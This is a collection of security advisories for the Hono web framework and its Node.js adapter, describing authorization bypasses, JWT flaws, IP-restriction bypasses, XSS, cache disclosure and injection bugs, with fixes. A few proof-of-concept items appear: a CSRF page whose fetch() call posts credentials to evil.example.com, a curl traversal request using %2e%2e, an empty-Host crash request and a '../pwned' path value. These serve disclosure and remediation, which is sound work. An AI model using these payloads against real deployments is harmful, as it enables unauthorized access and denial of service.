Summary

When using serveStatic together with route-based middleware protections (e.g. app.use('/admin/', ...)), inconsistent URL decoding allowed protected static resources to be accessed without authorization.

The router used decodeURI, while serveStatic used decodeURIComponent. This mismatch allowed paths containing encoded slashes (%2F) to bypass middleware protections while still resolving to the intended filesystem path.

Details

The routing layer preserved %2F as a literal string, while serveStatic decoded it into / before resolving the file path.

Example:

Request: /admin%2Fsecret.html

- Router sees: /admin%2Fsecret.html → does not match /admin/ - Static handler resolves: /admin/secret.html

As a result, static files under the configured static root could be served without triggering route-based protections.

This only affects applications that both:

- Protect subpaths using route-based middleware, and - Serve files from the same static root using serveStatic.

This does not allow access outside the static root and is not a path traversal vulnerability.

Impact

An unauthenticated attacker could bypass route-based authorization for protected static resources by supplying paths containing encoded slashes.

Applications relying solely on route-based middleware to protect static subpaths may have exposed those resources.

Summary

A flaw in Hono’s JWK/JWKS JWT verification middleware allowed the JWT header’s alg value to influence signature verification when the selected JWK did not explicitly specify an algorithm. This could enable JWT algorithm confusion and, in certain configurations, allow forged tokens to be accepted.

Details

When verifying JWTs using JWKs or a JWKS endpoint, the middleware selected the verification algorithm based on the JWK’s alg field if present, but otherwise fell back to the alg value provided in the unverified JWT header.

Because the alg field in a JWK is optional and often omitted in real-world JWKS configurations, this behavior could allow an attacker to control the algorithm used for verification. In some environments, this may lead to authentication or authorization bypass through crafted tokens.

The practical impact depends on application configuration, including which algorithms are accepted and how JWTs are used for authorization decisions.

Impact

In affected configurations, an attacker may be able to forge JWTs with attacker-controlled claims, potentially resulting in authentication or authorization bypass.

Applications that do not use the JWK/JWKS middleware, do not rely on JWT-based authentication, or explicitly restrict allowed algorithms are not affected.

Resolution

Update to the latest patched release.

Breaking change:

As part of this fix, the JWT middleware now requires the alg option to be explicitly specified. This prevents algorithm confusion by ensuring that the verification algorithm is not derived from untrusted JWT header values.

Applications upgrading must update their configuration accordingly.

Before (vulnerable configuration)

ts import { jwt } from 'hono/jwt'

app.use( '/auth/', jwt({ secret: 'it-is-very-secret', // alg was optional }) )

After (patched configuration)

ts import { jwt } from 'hono/jwt'

app.use( '/auth/', jwt({ secret: 'it-is-very-secret', alg: 'HS256', // required }) )

Summary

A flaw in Hono’s JWK/JWKS JWT verification middleware allowed the algorithm specified in the JWT header to influence signature verification when the selected JWK did not explicitly define an algorithm. This could enable JWT algorithm confusion and, in certain configurations, allow forged tokens to be accepted.

Details

When verifying JWTs using JWKs or a JWKS endpoint, the middleware selected the verification algorithm based on the JWK’s alg field if present. If the JWK did not specify an algorithm, the middleware fell back to using the alg value provided in the unverified JWT header.

Because the alg field in a JWK is optional and commonly omitted in real-world JWKS configurations, this behavior could allow an attacker to influence which algorithm is used for verification. In some environments, this may result in authentication or authorization bypass through crafted JWTs.

The practical impact depends on application configuration, including which algorithms are accepted and how JWTs are used to make authorization decisions.

Impact

In affected configurations, an attacker may be able to forge JWTs with attacker-controlled claims, potentially leading to authentication or authorization bypass.

Applications that do not use the JWK/JWKS middleware, do not rely on JWT-based authentication, or explicitly restrict allowed algorithms are not affected.

Resolution

Update to the latest patched release.

Breaking change:

The JWK/JWKS JWT verification middleware has been updated to require an explicit allowlist of asymmetric algorithms when verifying tokens. The middleware no longer derives the verification algorithm from untrusted JWT header values.

Instead, callers must explicitly specify which asymmetric algorithms are permitted, and only tokens signed with those algorithms will be accepted. This prevents JWT algorithm confusion by ensuring that algorithm selection is fully controlled by application configuration.

As part of this fix, the alg option is now required when using the JWK/JWKS middleware, and symmetric (HS) algorithms are no longer accepted in this context.

Before (vulnerable configuration)

ts import { jwk } from 'hono/jwk'

app.use( '/auth/', jwk({ jwksuri: 'https://example.com/.well-known/jwks.json', // alg was optional }) )

After (patched configuration)

ts import { jwk } from 'hono/jwk'

app.use( '/auth/', jwk({ jwksuri: 'https://example.com/.well-known/jwks.json', alg: ['RS256'], // required: explicit asymmetric algorithm allowlist }) )

Summary

When using the AWS Lambda adapter (hono/aws-lambda) behind an Application Load Balancer (ALB), the getConnInfo() function incorrectly selected the first value from the X-Forwarded-For header.

Because AWS ALB appends the real client IP address to the end of the X-Forwarded-For header, the first value can be attacker-controlled.

This could allow IP-based access control mechanisms (such as the ipRestriction middleware) to be bypassed.

Details

In ALB environments, AWS appends the actual client IP address to the end of any existing X-Forwarded-For header value. However, the previous implementation of getConnInfo() extracted the leftmost IP address:

ts address = xff.split(',')[0].trim()

If a client sent:

X-Forwarded-For: <spoofed-ip>

ALB would forward:

X-Forwarded-For: <spoofed-ip>, <real-client-ip>

Since the implementation selected the first value, the spoofed IP address was trusted. This affected applications using:

ts ipRestriction(getConnInfo, { allowList: [...] })

or any custom middleware relying on getConnInfo(c).remote.address for authorization decisions.

The issue only affects deployments using the AWS Lambda adapter behind an ALB. API Gateway (v1/v2) and Lambda Function URLs are not affected, as they use AWS-provided source IP values from requestContext.

Impact

An unauthenticated remote attacker could bypass IP-based access restrictions by supplying a crafted X-Forwarded-For header. This may allow access to resources that were intended to be restricted by IP address.

Only applications deployed behind an ALB and relying on getConnInfo() for IP-based authorization are affected.

Improper Authorization in Hono (JWT Audience Validation)

Hono’s JWT authentication middleware did not validate the aud (Audience) claim by default. As a result, applications using the middleware without an explicit audience check could accept tokens intended for other audiences, leading to potential cross-service access (token mix-up).

The issue is addressed by adding a new verification.aud configuration option to allow RFC 7519–compliant audience validation. This change is classified as a security hardening improvement, but the lack of validation can still be considered a vulnerability in deployments that rely on default JWT verification.

Recommended secure configuration

You can enable RFC 7519–compliant audience validation using the new verification.aud option:

ts import { Hono } from 'hono' import { jwt } from 'hono/jwt'

const app = new Hono()

app.use( '/api/', jwt({ secret: 'my-secret', verification: { // Require this API to only accept tokens with aud = 'service-a' aud: 'service-a', }, }) )

Below is the original description by the reporter. For security reasons, it does not include PoC reproduction steps, as the vulnerability can be clearly understood from the technical description.

---

The original description by the reporter

Summary Hono’s JWT Auth Middleware does not provide a built-in aud (Audience) verification option, which can cause confused-deputy / token-mix-up issues: an API may accept a valid token that was issued for a different audience (e.g., another service) when multiple services share the same issuer/keys. This can lead to unintended cross-service access. Hono’s docs list verification options for iss/nbf/iat/exp only, with no aud support; RFC 7519 requires that when an aud claim is present, tokens MUST be rejected unless the processing party identifies itself in that claim.

Note: This problem likely exists in the JWK/JWKS-based middleware as well (e.g., jwk / verifyWithJwks)

Details - The middleware’s verifyOptions enumerate only iss, nbf, iat, and exp; there is no aud option. The same omission appears in the JWT Helper’s “Payload Validation” list. Developers relying on the middleware for complete standards-aligned validation therefore won’t check audience by default. - Standards requirement: RFC 7519 §4.1.3 states that each principal intended to process the JWT MUST identify itself with a value in the aud claim; if it does not, the JWT MUST be rejected (when aud is present). Lack of a first-class aud check increases the risk that tokens issued for Service B are accepted by Service A. - Real-world effect: In deployments with a single IdP/JWKS and shared keys across multiple services, a token minted for one audience can be mistakenly accepted by another audience unless developers implement a custom audience check. - For example, with Google Identity (OIDC), iss is always https://accounts.google.com (shared across apps), but aud differs per application because it is that app’s OAuth client ID; therefore, an attacker can host a separate service that supports “Sign in with Google,” obtain a valid ID token (JWT) for the victim user, and—if your API does not verify aud—use that token to access your API with the victim’s privileges.

Impact Type: Authentication/authorization weakness via token mix-up (confused-deputy).

Who is impacted: Any Hono user who: - shares an issuer/keys across multiple services (common with a single IdP/JWKS) - distinguishes tokens by intended recipient using aud.

What can happen: - Cross-service access: A token for Service B may be accepted by Service A. - Boundary erosion: ID tokens and access tokens, or separate API audiences, can be inadvertently intermixed. - This may causes unauthorized invocation of sensitive endpoints.

Recommended remediation: 1) Add verifyOptions.aud (string | string[] | RegExp) to the middleware and enforce RFC 7519 semantics: In verify method, if aud is present and does not match with specified audiences, reject. 2) Ensure equivalent aud handling exists in the JWK/JWKS flow (jwk middleware / verifyWithJwks) so users of external IdPs can enforce audience consistently.

Impact

The application hangs when receiving a Host header with a value that @hono/node-server can't handle well. Invalid values are those that cannot be parsed by the URL as a hostname such as an empty string, slashes /, and other strings.

For example, if you have a simple application:

ts import { serve } from '@hono/node-server' import { Hono } from 'hono'

const app = new Hono()

app.get('/', (c) => c.text('Hello'))

serve(app)

Sending a request with a Host header with an empty value to it:

curl localhost:3000/ -H "Host: "

The results:

node:internal/url:775 this.#updateContext(bindingUrl.parse(input, base)); ^

TypeError: Invalid URL at new URL (node:internal/url:775:36) at newRequest (/Users/yusuke/work/h/159/nodemodules/@hono/node-server/dist/index.js:137:17) at Server.<anonymous> (/Users/yusuke/work/h/159/nodemodules/@hono/node-server/dist/index.js:399:17) at Server.emit (node:events:514:28) at Server.emit (node:domain:488:12) at parserOnIncoming (node:httpserver:1143:12) at HTTPParser.parserOnHeadersComplete (node:httpcommon:119:17) { code: 'ERRINVALIDURL', input: 'http:///' }

Patches

The version 1.10.1 includes the fix for this issue. But, you should use 1.11.0, which has other fixes related to this issue. https://github.com/honojs/node-server/issues/160 https://github.com/honojs/node-server/issues/161

Workarounds

Nothing. Upgrade your @hono/node-server.

References

https://github.com/honojs/node-server/issues/159

Summary

A flaw in the getPath utility function could allow path confusion and potential bypass of proxy-level ACLs (e.g. Nginx location blocks).

Details

The original implementation relied on fixed character offsets when parsing request URLs. Under certain malformed absolute-form Request-URIs, this could lead to incorrect path extraction.

Most standards-compliant runtimes and reverse proxies reject such malformed requests with a 400 Bad Request, so the impact depends on the application and environment.

Impact

If proxy ACLs are used to protect sensitive endpoints such as /admin, this flaw could have allowed unauthorized access. The confidentiality impact depends on what data is exposed: if sensitive administrative data is exposed, the impact may be High (CVSS 7.5); otherwise it may be Medium (CVSS 5.3).

Resolution

The implementation has been updated to correctly locate the first slash after "://", preventing such path confusion.

@hono/node-server allows running the Hono application on Node.js. Prior to version 1.19.10, when using @hono/node-server's static file serving together with route-based middleware protections (e.g. protecting /admin/), inconsistent URL decoding can allow protected static resources to be accessed without authorization. In particular, paths containing encoded slashes (%2F) may be evaluated differently by routing/middleware matching versus static file path resolution, enabling a bypass where middleware does not run but the static file is still served. This issue has been patched in version 1.19.10.

Hono before 4.10.2 (fixed in 4.10.3) contains a flaw in its CORS middleware: when the origin is not set to "", the middleware copies the Vary header from the incoming request into the response. Because Vary is a response header that should be managed by the server, an attacker can supply arbitrary Vary values that are reflected into the response, potentially causing cache key pollution and inconsistent CORS enforcement in environments that rely on shared caches or proxies.

Summary

IP Restriction Middleware in Hono is vulnerable to an IP address validation bypass. The IPV4REGEX pattern and convertIPv4ToBinary function in src/utils/ipaddr.ts do not properly validate that IPv4 octet values are within the valid range of 0-255, allowing attackers to craft malformed IP addresses that bypass IP-based access controls.

Details

The vulnerability exists in two components:

1. Permissive regex pattern: The IPV4REGEX (/^[0-9]{0,3}\.[0-9]{0,3}\.[0-9]{0,3}\.[0-9]{0,3}$/) accepts octet values greater than 255 (e.g., 999). 2. Unsafe binary conversion: The convertIPv4ToBinary function does not validate octet ranges before performing bitwise operations. When an octet exceeds 255, it overflows into adjacent octets during the bit-shift calculation.

For example, the IP address 1.2.2.355 is accepted and converts to the same binary value as 1.2.3.99:

355 = 256 + 99 = 0x163 After bit-shifting: (1 << 24) + (2 << 16) + (2 << 8) + 355 = 0x01020363 = 1.2.3.99

Impact

An attacker can bypass IP-based restrictions by crafting malformed IP addresses:

Blocklist bypass: If 1.2.3.0/24 is blocked, an attacker can use 1.2.2.355 (or similar) to bypass the restriction. Allowlist bypass: Requests from unauthorized IP ranges may be incorrectly permitted.

This is exploitable when the application relies on client-provided IP addresses (e.g., X-Forwarded-For header) for access control decisions.

Affected Components

IP Restriction Middleware src/utils/ipaddr.ts: IPV4REGEX, convertIPv4ToBinary, distinctRemoteAddr

Summary

When using streamSSE() in Streaming Helper, the event, id, and retry fields were not validated for carriage return (\r) or newline (\n) characters.

Because the SSE protocol uses line breaks as field delimiters, this could allow injection of additional SSE fields within the same event frame if untrusted input was passed into these fields.

Details

The SSE helper builds event frames by joining lines with \n. While multi-line data: fields are handled according to the SSE specification, the event, id, and retry fields previously allowed raw values without rejecting embedded CR/LF characters.

Including CR/LF in these control fields could allow unintended additional fields (such as data:, id:, or retry:) to be injected into the event stream.

The issue has been fixed by rejecting CR/LF characters in these fields.

Impact

An attacker could manipulate the structure of SSE event frames if an application passed user-controlled input directly into event, id, or retry.

Depending on application behavior, this could result in injected SSE fields or altered event stream handling. Applications that render e.data in an unsafe manner (for example, using innerHTML) could potentially expose themselves to client-side script injection.

This issue affects applications that rely on the SSE helper to enforce protocol-level constraints.

Summary

bodyLimit() does not reliably enforce maxSize for requests without a usable Content-Length (e.g. Transfer-Encoding: chunked). Oversized requests can reach handlers and return 200 instead of 413.

Details

For chunked / unknown-length requests, bodyLimit() wraps the body in a stream that counts bytes asynchronously, then runs the handler before the size decision is final. The 413 is only applied afterwards by checking c.error.

This lets the limit be bypassed when:

- the handler does not read the body, - the handler reads only the first chunk(s) and returns, or - the handler reads the body but swallows the read error in try/catch.

In all three cases the handler returns 200 before the limit check completes (or its result is observed).

The fix is to enforce the size decision before next() runs, instead of retrofitting the response via c.error afterwards.

Impact

Applications relying on bodyLimit() as a hard boundary can be bypassed: oversized chunked requests can reach handler logic and return successful responses. Per-request data exposure is bounded by maxSize, but the documented guarantee — "oversized requests are rejected before business logic runs" — does not hold.

Credits

- @lalalala5678 (slow chunked / early return variants) - @Jvr2022 (error handling bypass)

Summary

The jwt and jwk middlewares do not verify that the Authorization header value uses theBearer scheme. Any two-part header value — regardless of the scheme name in the first position — proceeds to JWT verification. A request presenting a valid JWT under a non-Bearer scheme identifier (such as Basic or Token) is authenticated identically to a correctly formed Bearer request.

Details

When processing an Authorization (or custom) header, the middleware splits the value on whitespace and uses the second token as the JWT to verify. It does not check that the first token is bearer (case-insensitively). RFC 6750 specifies that JWT bearer tokens must be presented using the Bearer scheme; other scheme identifiers carry distinct semantics and may be subject to different policies in network-layer security controls.

This discrepancy means that scheme-aware external controls — such as WAF rules, API gateways, or reverse proxies that apply policies specific to the Bearer scheme identifier — can be bypassed by presenting a valid JWT under a different scheme name.

This issue affects hono/jwt and hono/jwk middleware.

Impact

An attacker who possesses a valid JWT may present it under a non-Bearer scheme identifier and still pass middleware authentication.

This may lead to:

- Bypass of network-layer security controls that inspect or filter requests based on the authorization scheme identifier - Token reuse across authentication schemes in applications that use multiple authorization mechanisms

This issue affects applications where hono/jwt or hono/jwk authentication is combined with external controls that enforce scheme-based access policies.

Summary

hono/jsx did not isolate context values per request during server-side rendering. While an async component was suspended on await, its provided context value stayed observable to other requests rendering concurrently, so useContext() could return a value from a different in-flight request.

Details

During server-side rendering, context values were kept in a process-wide structure rather than scoped to each request's render. While an async component awaited, another request entering the same provider could observe or replace the value; when the first render resumed, it could read the other request's context.

This affects the usual ways request-scoped data is passed through a server-rendered JSX tree:

- createContext() / useContext() - the jsxRenderer middleware and useRequestContext()

It arises only when context is read after an await inside an async component while requests render concurrently. Reading context synchronously (before any await), purely synchronous rendering, and client-side (DOM) rendering are not affected.

Impact

Under concurrent requests, a response could be rendered with another request's context. A user may receive HTML rendered for a different user, and an authorization check performed after an await may be evaluated against another user's data.

This may lead to:

- disclosure of rendered output intended for another user - authorization decisions made with the wrong request's context - cross-request mixing of session or other request-scoped state

Summary

Serve static Middleware for the Cloudflare Workers adapter contains an information disclosure vulnerability that may allow attackers to read arbitrary keys from the Workers environment. Improper validation of user-controlled paths can result in unintended access to internal asset keys.

Details

The vulnerability exists in the serve-static middleware used with the Cloudflare Workers adapter. When serving static assets, the middleware does not sufficiently validate or restrict user-supplied paths before resolving them against the Workers asset storage.

As a result, an attacker may craft requests that access arbitrary keys beyond the intended static asset scope. This issue only affects applications running on Cloudflare Workers that use Serve static Middleware with user-controllable request paths.

Impact

This vulnerability may lead to information disclosure by allowing unauthorized access to internal assets or data stored in the Workers environment. The exposed data is limited to readable asset keys and does not allow modification of stored data or execution of arbitrary code.

The impact is limited to applications that use Serve static Middleware in the Cloudflare Workers adapter and rely on it to safely handle untrusted request paths.

Affected Components

Serve static Middleware (Cloudflare Workers adapter)

Summary

ipRestriction() does not canonicalize IPv4-mapped IPv6 client addresses (e.g. ::ffff:127.0.0.1) before applying IPv4 allow or deny rules. In environments such as Node.js dual-stack, this can cause IPv4 rules to fail to match, leading to unintended authorization behavior.

Details

The middleware classifies client addresses based on their textual form. Addresses containing ":" are treated as IPv6, including IPv4-mapped IPv6 addresses such as ::ffff:127.0.0.1. These addresses are not normalized to IPv4 before matching.

As a result:

IPv4 static rules (e.g. 127.0.0.1) do not match because the raw string differs IPv4 CIDR rules (e.g. 127.0.0.0/8, 10.0.0.0/8) are skipped because the address is treated as IPv6

For example, with:

denyList: ['127.0.0.1']

a request from 127.0.0.1 may be represented as ::ffff:127.0.0.1 and bypass the deny rule.

This behavior commonly occurs in Node.js environments where IPv4 clients are exposed as IPv4-mapped IPv6 addresses.

Impact

Applications that rely on IPv4-based ipRestriction() rules may incorrectly allow or deny requests.

In affected deployments, a denied IPv4 client may bypass access restrictions. Conversely, legitimate clients may be rejected when using IPv4 allow lists.

Hono before 4.12.7 allows proto key in parseBody with dot option enabled, permitting specially crafted form field names to create objects with proto properties. When parsed results are merged into regular JavaScript objects using unsafe merge patterns, attackers can exploit this to achieve prototype pollution and modify object behavior.

Summary

Improper handling of JSX element tag names in hono/jsx allowed unvalidated tag names to be directly inserted into the generated HTML output.

When untrusted input is used as a tag name via the programmatic jsx() or createElement() APIs during server-side rendering, specially crafted values may break out of the intended element context and inject unintended HTML.

Details

When rendering JSX elements to HTML strings, attribute values are escaped and attribute names are validated. However, element tag names were previously inserted into the output without validation.

If a tag name contains characters such as <, >, quotes, or whitespace, it may alter the structure of the generated HTML.

For example, malformed tag names can:

Break out of the intended element and introduce unintended HTML elements Inject attributes or event handlers into the rendered output

This issue arises when untrusted input (such as query parameters or database content) is used as JSX tag names via jsx() or createElement() during server-side rendering.

Impact

An attacker who can control tag names used in JSX rendering may inject unintended HTML into the generated output.

This may lead to:

Injection of unexpected HTML elements or attributes Corruption of the HTML structure Cross-site scripting (XSS) when combined with unsafe usage patterns

This issue only affects applications that construct JSX tag names from untrusted input. Applications using static or allowlisted tag names are not affected.

Summary

cx() in hono/css composes class names from plain strings but marks the result as already-escaped without HTML-escaping the input. When the result is used as a JSX class attribute during server-side rendering, the value is written into the attribute unescaped, so untrusted input can break out of the class attribute and inject arbitrary markup, leading to Cross-Site Scripting (XSS).

Details

Because the composed value is treated as pre-escaped, the HTML attribute escaping normally applied to interpolated values is skipped, and characters such as " pass through unescaped — allowing a value to terminate the attribute and add further attributes or elements. This arises when an application passes untrusted, user-controlled input as a class name to cx(), for example when merging a base class with an externally provided className.

Impact

During server-side rendering, an attacker who controls a value passed to cx() can inject arbitrary HTML into the page, resulting in stored or reflected XSS in the victim's browser.

This may lead to:

- Execution of attacker-controlled script in the victim's browser session. - Session hijacking, credential theft, or actions performed on behalf of the victim.

Applications are affected only if they render JSX server-side and pass untrusted input as a class name to cx().

Summary Bypass CSRF Middleware by a request without Content-Type herader.

Details Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.

https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89

PoC server.js // server.js import { Hono } from 'hono' import { csrf }from 'hono/csrf' const app = new Hono() app.use(csrf()) app.get('/', (c) => { return c.html('Hello Hono!') }) app.post('/', async (c) => { console.log("executed") return c.text( await c.req.text()) }) Deno.serve(app.fetch)

poc.html <!-- PoC.html --> <script> async function myclick() { await fetch("http://evil.example.com", { method: "POST", credentials: "include", body:new Blob([test],{}), }); } </script> <input type="button" onclick="myclick()" value="run" />

Similarly, the fetch API does not add a Content-Type header for requests that do not include a Body. PoC2.js await fetch("http://localhost:8000", { method: "POST", credentials: "include"});

Impact Bypass csrf protection implemented with hono csrf middleware.

Summary

A path traversal issue in toSSG() allows files to be written outside the configured output directory during static site generation. When using dynamic route parameters via ssgParams, specially crafted values can cause generated file paths to escape the intended output directory.

Details

The static site generation process creates output files based on route paths derived from application routes and parameters. When ssgParams is used to provide values for dynamic routes, those values are used to construct output file paths. If these values contain traversal sequences (e.g. ..), the resulting output path may resolve outside the configured output directory. As a result, files may be written to unintended locations instead of being confined within the specified output directory.

For example: ts import { Hono } from 'hono' import { toSSG, ssgParams } from 'hono/ssg'

const app = new Hono()

app.get('/:id', ssgParams([{ id: '../pwned' }]), (c) => { return c.text('pwned') })

toSSG(app, fs, { dir: './static' })

In this case, the generated output path may resolve outside ./static, resulting in a file being written outside the intended output directory.

Impact

An attacker who can influence values passed to ssgParams during the build process may be able to write files outside the intended output directory.

Depending on the build and deployment environment, this may:

overwrite unintended files affect generated artifacts impact deployment outputs or downstream tooling

This issue is limited to build-time static site generation and does not affect request-time routing.

Summary

The setCookie() utility did not validate semicolons (;), carriage returns (\r), or newline characters (\n) in the domain and path options when constructing the Set-Cookie header.

Because cookie attributes are delimited by semicolons, this could allow injection of additional cookie attributes if untrusted input was passed into these fields.

Details

setCookie() builds the Set-Cookie header by concatenating option values. While the cookie value itself is URL-encoded, the domain and path options were previously interpolated without rejecting unsafe characters.

Including ;, \r, or \n in these fields could result in unintended additional attributes (such as SameSite, Secure, Domain, or Path) being appended to the cookie header.

Modern runtimes prevent full header injection via CRLF, so this issue is limited to attribute-level manipulation within a single Set-Cookie header.

The issue has been fixed by rejecting these characters in the domain and path options.

Impact

An attacker may be able to manipulate cookie attributes if an application passes user-controlled input directly into the domain or path options of setCookie().

This could affect cookie scoping or security attributes depending on browser behavior. Exploitation requires application-level misuse of cookie options.

@hono/node-server is an adapter that allows users to run Hono applications on Node.js. Since v1.3.0, @hono/node-server has used its own Request object with url behavior that is unexpected. In the standard API, if the URL contains .., here called "double dots", the URL string returned by Request will be in the resolved path. However, the url in @hono/node-server's Request as does not resolve double dots, so http://localhost/static/.. /foo.txt is returned. This causes vulnerabilities when using serveStatic. Modern web browsers and a latest curl command resolve double dots on the client side, so this issue doesn't affect those using either of those tools. However, problems may occur if accessed by a client that does not resolve them. Version 1.4.1 includes the change to fix this issue. As a workaround, don't use serveStatic.

Summary

When using serveStatic with deno, it is possible to directory traverse where main.ts is located.

My environment is configured as per this tutorial https://hono.dev/getting-started/deno

PoC

bash $ tree . ├── deno.json ├── deno.lock ├── main.ts ├── README.md └── static └── a.txt

source

jsx import { Hono } from 'https://deno.land/x/hono@v4.2.6/mod.ts' import { serveStatic } from 'https://deno.land/x/hono@v4.2.6/middleware.ts'

const app = new Hono() app.use('/static/', serveStatic({ root: './' }))

Deno.serve(app.fetch)

request

bash curl localhost:8000/static/%2e%2e/main.ts

response is content of main.ts

Impact

Unexpected files are retrieved.

Summary A flaw in the bodyLimit middleware could allow bypassing the configured request body size limit when conflicting HTTP headers were present.

Details The middleware previously prioritized the Content-Length header even when a Transfer-Encoding: chunked header was also included. According to the HTTP specification, Content-Length must be ignored in such cases. This discrepancy could allow oversized request bodies to bypass the configured limit.

Most standards-compliant runtimes and reverse proxies may reject such malformed requests with 400 Bad Request, so the practical impact depends on the runtime and deployment environment.

Impact If body size limits are used as a safeguard against large or malicious requests, this flaw could allow attackers to send oversized request bodies. The primary risk is denial of service (DoS) due to excessive memory or CPU consumption when handling very large requests.

Resolution The implementation has been updated to align with the HTTP specification, ensuring that Transfer-Encoding takes precedence over Content-Length. The issue is fixed in Hono v4.9.7, and all users should upgrade immediately.

Summary

Cache Middleware contains an information disclosure vulnerability caused by improper handling of HTTP cache control directives. The middleware does not respect standard cache control headers such as Cache-Control: private or Cache-Control: no-store, which may result in private or authenticated responses being cached and subsequently exposed to unauthorized users.

Details

The vulnerability exists in the cache decision logic of Cache Middleware. When determining whether a response should be cached, the middleware does not take HTTP cache control semantics into account and may cache responses that are explicitly marked as private by the application. While some runtimes, such as Cloudflare Workers, enforce cache control restrictions at the platform level, other runtimes including Deno, Bun, and Node.js rely on the middleware’s behavior. As a result, applications running on these runtimes may unintentionally cache sensitive responses.

Impact

This issue can lead to Web Cache Deception and information disclosure. If an authenticated user accesses an endpoint that returns user-specific or sensitive data and the response is cached despite being marked as private, subsequent unauthenticated requests may receive the cached response. This may result in the exposure of personally identifiable information or session-related data. The impact is limited to applications that use the hono/cache middleware and rely on it to correctly honor HTTP cache control directives.

Affected Components

Cache Middleware

@hono/node-server allows running the Hono application on Node.js. Prior to 1.19.13, a path handling inconsistency in serveStatic allows protected static files to be accessed by using repeated slashes (//) in the request path. When route-based middleware (e.g., /admin/) is used for authorization, the router may not match paths containing repeated slashes, while serveStatic resolves them as normalized paths. This can lead to a middleware bypass. This vulnerability is fixed in 1.19.13.

Summary

A path handling inconsistency in serveStatic allows protected static files to be accessed by using repeated slashes (//) in the request path.

When route-based middleware (e.g., /admin/) is used for authorization, the router may not match paths containing repeated slashes, while serveStatic resolves them as normalized paths. This can lead to a middleware bypass.

Details

The routing layer and serveStatic handle repeated slashes differently.

For example:

/admin/secret.txt => matches /admin/ /admin//secret.txt => may not match /admin/

However, serveStatic may interpret both paths as the same file location (e.g., admin/secret.txt) and return the file.

This inconsistency allows a request such as:

GET //admin/secret.txt

to bypass middleware registered on /admin/ and access protected files.

The issue has been fixed by rejecting paths that contain repeated slashes, ensuring consistent behavior between route matching and static file resolution.

Impact

An attacker can access static files that are intended to be protected by route-based middleware by using repeated slashes in the request path.

This can lead to unauthorized access to sensitive files under the static root.

This issue affects applications that rely on serveStatic together with route-based middleware for access control.

Summary

Cache Middleware does not skip caching for responses that declare per-user variance via Vary: Authorization or Vary: Cookie. As a result, a response cached for one authenticated user may be served to subsequent requests from different users.

Details

The Cache Middleware skips caching when a response carries Vary: , certain Cache-Control directives (private, no-store, no-cache), or Set-Cookie. However, Vary: Authorization and Vary: Cookie — the standard signals defined in RFC 9110 / RFC 9111 to indicate per-user responses — are not treated as cache-skip reasons.

This issue arises when applications use the Cache Middleware on endpoints that return user-specific data and rely on Vary: Authorization or Vary: Cookie to scope the response per user, without also setting Cache-Control: private.

Impact

A user may receive a cached response that was originally generated for a different authenticated user. This may lead to:

- Disclosure of personally identifiable information or other user-specific data present in the response body - Inconsistent or incorrect behavior in user-specific endpoints

This issue affects applications that use the Cache Middleware on endpoints whose responses vary by Authorization or Cookie and that do not also set Cache-Control: private.

Summary

The ip-restriction middleware (hono/ip-restriction) compares incoming IP addresses against configured deny and allow rules using string equality after partial normalization. Non-canonical IPv6 representations of an address already listed in a static rule — such as compressed forms, explicit-zero forms, or hex-notation IPv4-mapped addresses — do not match the normalized rule entry, causing the rule to be silently skipped.

Details

When the rule matcher is built, each configured IP rule is normalized to a canonical string form. Incoming IP addresses received at request time are then compared against those canonical strings without applying the same normalization. Because IPv6 permits multiple syntactically different representations of the same numeric address, a non-canonical form of a denied address fails the string lookup and proceeds to the CIDR check, which also finds no match for rules registered as static (no prefix length). The request is then allowed.

Affected non-canonical forms include:

- Compressed versus expanded notation (2001:db8::1 vs 2001:db8:0:0:0:0:0:1) - Hex-notation IPv4-mapped addresses (::ffff:7f00:1 vs ::ffff:127.0.0.1) - Zone identifier suffixes (e.g., fe80::1%eth0)

Additionally, invalid IP address strings provided as the remote address are not rejected and may result in unexpected allow or deny behavior.

This issue arises when applications use ipRestriction() with static (non-CIDR) rules and the IP address source can supply addresses in non-canonical IPv6 form.

Impact

A request from an IP address covered by a static deny rule may bypass the restriction if the address is presented in a non-canonical IPv6 form.

This may lead to:

- Unauthorized access to endpoints intended to be restricted to specific IP addresses - Bypass of IP-based access controls in environments where the runtime or an upstream proxy provides source addresses in a form that differs from the canonical form used in the rule configuration

This issue affects applications using hono/ip-restriction with static deny rules for IPv4 or IPv6 addresses, particularly when the source address is derived from proxy headers or custom getIP implementations that may return non-canonical forms.